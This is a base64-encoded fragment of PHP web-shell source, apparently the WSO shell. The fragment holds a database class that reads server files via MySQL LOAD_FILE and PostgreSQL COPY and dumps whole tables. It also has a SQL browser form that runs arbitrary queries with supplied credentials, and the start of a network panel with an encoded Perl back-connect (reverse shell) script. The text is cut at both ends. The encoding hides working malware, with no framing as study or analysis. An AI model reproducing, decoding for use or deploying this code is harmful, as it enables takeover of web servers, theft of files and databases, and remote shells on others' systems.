XN0VGFibGVzKCkgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGVycm9yKCkgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gQG15c3FsX2Vycm9yKCk7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsKCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkKCQkJCQkJcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7CgkJCQkJZWxzZQoJCQkJCQkkdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7CgkJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGxvYWRGaWxlKCRzdHIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCSR0aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIHdzbzIoZmlsZSB0ZXh0KTtDT1BZIHdzbzIgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20gd3NvMjsiKTsKCQkJCQkkcj1hcnJheSgpOwoJCQkJCXdoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQoJCQkJCQkkcltdID0gJGlbJ2ZpbGUnXTsKCQkJCQkkdGhpcy0+cXVlcnkoJ2Ryb3AgdGFibGUgd3NvMicpOwoJCQkJCXJldHVybiBhcnJheSgnZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7CgkJCQkJJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOwoJCQkJCSRzcWwgPSAkY3JlYXRlWzFdLiI7XG4iOwogICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsKCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7CiAgICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsKCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGkgJSAxMDAwID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiO1xuXG4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CgoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9PT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiTlVMTCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfaW50KCR2KSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOwoJCQkJCQkJJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7CgkJCQkJCX0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGhlYWQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKCQkJCQl9CiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHNlIGVjaG8oIjtcblxuIik7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOwoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOwoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgewoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsKCQkJCQkJCSRjb2x1bW5zW10gPSAkazsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwoJCQkJCX0KCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9OwoJJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOwoJaWYoKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpICYmIChAJF9QT1NUWydwMSddIT0nc2VsZWN0JykpIHsKCQkkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7CgkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOwogICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgewogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsKICAgICAgICB9CiAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7CiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kdW1wLnNxbCIpOwogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOwogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpCgkJCQkkZGItPmR1bXAoJHYpOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0gZWxzZWlmKCRmcCA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwgJ3cnKSkgewogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYsICRmcCk7CiAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB1bnNldCgkX1BPU1RbJ3AyJ10pOwogICAgICAgIH0gZWxzZQogICAgICAgICAgICBkaWUoJzxzY3JpcHQ+YWxlcnQoIkVycm9yISBDYW5cJ3Qgb3BlbiBmaWxlIik7d2luZG93Lmhpc3RvcnkuYmFjaygtMSk8L3NjcmlwdD4nKTsKCX0KCXdzb0hlYWRlcigpOwoJZWNobyAiCjxoMT5TcWwgYnJvd3NlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pgo8Zm9ybSBuYW1lPSdzZicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0nZnModGhpcyk7Jz48dGFibGUgY2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+Cjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSdxdWVyeSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9Jyc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuIic+Cjx0ZD48c2VsZWN0IG5hbWU9J3R5cGUnPjxvcHRpb24gdmFsdWU9J215c3FsJyAiOwogICAgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsKZWNobyAiPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncGdzcWwnICI7CmlmKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJyllY2hvICdzZWxlY3RlZCc7CmVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiJcIj48L3RkPgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkgLiJcIj48L3RkPgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPVwiIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIlwiPjwvdGQ+PHRkPiI7CgkkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOwoJaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7CgkJaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7CgkJCXN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgewoJCQkJY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7CgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsKCQkJCWNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7CgkJCQljYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOwoJCQkJY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOwoJCQl9CgkJCSRkYi0+bGlzdERicygpOwoJCQllY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOwoJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgewoJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7CgkJCQllY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOwoJCQl9CgkJCWVjaG8gJzwvc2VsZWN0Pic7CgkJfQoJCWVsc2UgZWNobyAkdG1wOwoJfWVsc2UKCQllY2hvICR0bXA7CgllY2hvICI8L3RkPgoJCQkJPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nIG9uY2xpY2s9J2ZzKGQuc2YpOyc+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNxbF9jb3VudCB2YWx1ZT0nb24nIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKSAuICI+IGNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvdGQ+CgkJCTwvdHI+CgkJPC90YWJsZT4KCQk8c2NyaXB0PgogICAgICAgICAgICBzX2RiPSciLkBhZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkuIic7CiAgICAgICAgICAgIGZ1bmN0aW9uIGZzKGYpIHsKICAgICAgICAgICAgICAgIGlmKGYuc3FsX2Jhc2UudmFsdWUhPXNfZGIpIHsgZi5vbnN1Ym1pdCA9IGZ1bmN0aW9uKCkge307CiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMSkgZi5wMS52YWx1ZT0nJzsKICAgICAgICAgICAgICAgICAgICBpZihmLnAyKSBmLnAyLnZhbHVlPScnOwogICAgICAgICAgICAgICAgICAgIGlmKGYucDMpIGYucDMudmFsdWU9Jyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCQkJZnVuY3Rpb24gc3QodCxsKSB7CgkJCQlkLnNmLnAxLnZhbHVlID0gJ3NlbGVjdCc7CgkJCQlkLnNmLnAyLnZhbHVlID0gdDsKICAgICAgICAgICAgICAgIGlmKGwgJiYgZC5zZi5wMykgZC5zZi5wMy52YWx1ZSA9IGw7CgkJCQlkLnNmLnN1Ym1pdCgpOwoJCQl9CgkJCWZ1bmN0aW9uIGlzKCkgewoJCQkJZm9yKGk9MDtpPGQuc2YuZWxlbWVudHNbJ3RibFtdJ10ubGVuZ3RoOysraSkKCQkJCQlkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkOwoJCQl9CgkJPC9zY3JpcHQ+IjsKCWlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsKCQllY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOwoJCQlpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CgkJCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CgkJCQllY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsKCQkJCSR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOwoJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCR0YmxzX3JlcykpIHsKCQkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7CgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOwoJCQkJCWVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0KCciLiR2YWx1ZS4iJywxKVwiPiIuJHZhbHVlLiI8L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD4oeyRuWyduJ119KTwvc21hbGw+IikgLiAiPC9ub2JyPjxicj4iOwoJCQkJfQoJCQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsKCQkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ3NlbGVjdCcpIHsKCQkJCQkkX1BPU1RbJ3AxJ10gPSAncXVlcnknOwogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsKCQkJCQkkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10pOwoJCQkJCSRudW0gPSAkZGItPmZldGNoKCk7CgkJCQkJJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10gLyAzMCk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1bmN0aW9uKCl7c3QoXCIiIC4gJF9QT1NUWydwMiddIC4gIlwiLCBkLnNmLnAzLnZhbHVlKX08L3NjcmlwdD48c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoeyRudW1bJ24nXX0gcmVjb3JkcykgUGFnZSAjIDxpbnB1dCB0eXBlPXRleHQgbmFtZT0ncDMnIHZhbHVlPSIgLiAoKGludCkkX1BPU1RbJ3AzJ10pIC4gIj4iOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIiBvZiAkcGFnZXMiOwogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddLTEpIC4gIiknPiZsdDsgUHJldjwvYT4iOwogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA8ICRwYWdlcykKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7CiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddLS07CgkJCQkJaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7CgkJCQkJZWxzZQoJCQkJCQkkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsKCQkJCQllY2hvICI8YnI+PGJyPiI7CgkJCQl9CgkJCQlpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgewoJCQkJCSRkYi0+cXVlcnkoQCRfUE9TVFsncDInXSk7CgkJCQkJaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7CgkJCQkJCSR0aXRsZSA9IGZhbHNlOwoJCQkJCQllY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOwoJCQkJCQkkbGluZSA9IDE7CgkJCQkJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKQl7CgkJCQkJCQlpZighJHRpdGxlKQl7CgkJCQkJCQkJZWNobyAnPHRyPic7CgkJCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkKCQkJCQkJCQkJZWNobyAnPHRoPicuJGtleS4nPC90aD4nOwoJCQkJCQkJCXJlc2V0KCRpdGVtKTsKCQkJCQkJCQkkdGl0bGU9dHJ1ZTsKCQkJCQkJCQllY2hvICc8L3RyPjx0cj4nOwoJCQkJCQkJCSRsaW5lID0gMjsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsKCQkJCQkJCSRsaW5lID0gJGxpbmU9PTE/MjoxOwoJCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCQkJCQkJCWlmKCR2YWx1ZSA9PSBudWxsKQoJCQkJCQkJCQllY2hvICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7CgkJCQkJCQkJZWxzZQoJCQkJCQkJCQllY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7CgkJCQkJCQl9CgkJCQkJCQllY2hvICc8L3RyPic7CgkJCQkJCX0KCQkJCQkJZWNobyAnPC90YWJsZT4nOwoJCQkJCX0gZWxzZSB7CgkJCQkJCWVjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnLmh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKS4nPC9kaXY+JzsKCQkJCQl9CgkJCQl9CgkJCQllY2hvICI8YnI+PC9mb3JtPjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwicXVlcnlcIjtkLnNmLnAyLnZhbHVlPXRoaXMucXVlcnkudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiI7CiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMSddICE9ICdsb2FkZmlsZScpKQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+IjsKCQkJCWVjaG8gIjwvdGQ+PC90cj4iOwoJCQl9CgkJCWVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+IjsKICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpIHsKICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBjb25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3knIik7CiAgICAgICAgICAgICAgICBpZigkZGItPmZldGNoKCkpCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4iOwogICAgICAgICAgICB9CgkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgewoJCQkJJGZpbGUgPSAkZGItPmxvYWRGaWxlKCRfUE9TVFsncDInXSk7CgkJCQllY2hvICc8YnIvPjxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsKCQkJfQoJfSBlbHNlIHsKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsKICAgIH0KCWVjaG8gJzwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25OZXR3b3JrKCkgewoJd3NvSGVhZGVyKCk7CgkkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV